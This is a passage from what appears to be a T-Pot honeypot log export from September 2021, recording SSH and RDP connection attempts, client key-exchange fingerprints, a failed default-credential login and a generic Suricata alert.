"hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aa6caafc3c9b", "@version": "1", "timestamp": "2021-09-20T11:06:51.564986Z", "@timestamp": "2021-09-20T11:06:51.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21403	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.85342+03	2021-09-20 14:15:03.622612+03	{"_id": "RwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:53148 (192.168.176.2:22) [session: a9a997c4a94a]", "session": "a9a997c4a94a", "@version": "1", "protocol": "ssh", "src_port": 53148, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.853420Z", "@timestamp": "2021-09-20T11:06:51.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21404	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.799412+03	2021-09-20 14:15:03.623613+03	{"_id": "NgbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3bcde3b08a76", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.799412Z", "@timestamp": "2021-09-20T11:06:51.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21405	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.478158+03	2021-09-20 14:15:03.624613+03	{"_id": "JwbjAnwBvYTbRNuEIgNR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [apache/password] failed", "session": "018cda16fdf7", "@version": "1", "password": "password", "username": "apache", "timestamp": "2021-09-20T11:06:51.478158Z", "@timestamp": "2021-09-20T11:06:51.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21406	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:51.146034+03	2021-09-20 14:15:03.626612+03	{"_id": "VAbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54262, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.146034", "@timestamp": "2021-09-20T11:06:51.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21407	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:06:51.243932+03	2021-09-20 14:15:03.627613+03	{"_id": "VQbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 65261, "dest_port": 3389, "timestamp": "2021-09-20T11:06:51.243932", "@timestamp": "2021-09-20T11:06:51.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
21408	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:51.561598+03	2021-09-20 14:15:03.628613+03	{"_id": "VgbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57806, "timestamp": "2021-09-20T11:06:51.561598", "@timestamp": "2021-09-20T11:06:51.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33294	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:54:45.781518+03	2021-09-20 15:00:05.679723+03	{"_id": "6QYOA3wBvYTbRNuE_U54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:45.781518Z", "@timestamp": "2021-09-20T11:54:45.781Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
21409	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:51.564339+03	2021-09-20 14:15:03.630612+03	{"_id": "VwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57806, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.564339", "@timestamp": "2021-09-20T11:06:51.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21410	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:51.603647+03	2021-09-20 14:15:03.631612+03	{"_id": "WAbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49686, "timestamp": "2021-09-20T11:06:51.603647", "@timestamp": "2021-09-20T11:06:51.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21411	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:51.713043+03	2021-09-20 14:15:03.633613+03	{"_id": "WQbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39402, "timestamp": "2021-09-20T11:06:51.713043", "@timestamp": "2021-09-20T11:06:51.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21412	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:51.800871+03	2021-09-20 14:15:03.634612+03	{"_id": "WgbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52190, "timestamp": "2021-09-20T11:06:51.800871", "@timestamp": "2021-09-20T11:06:51.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	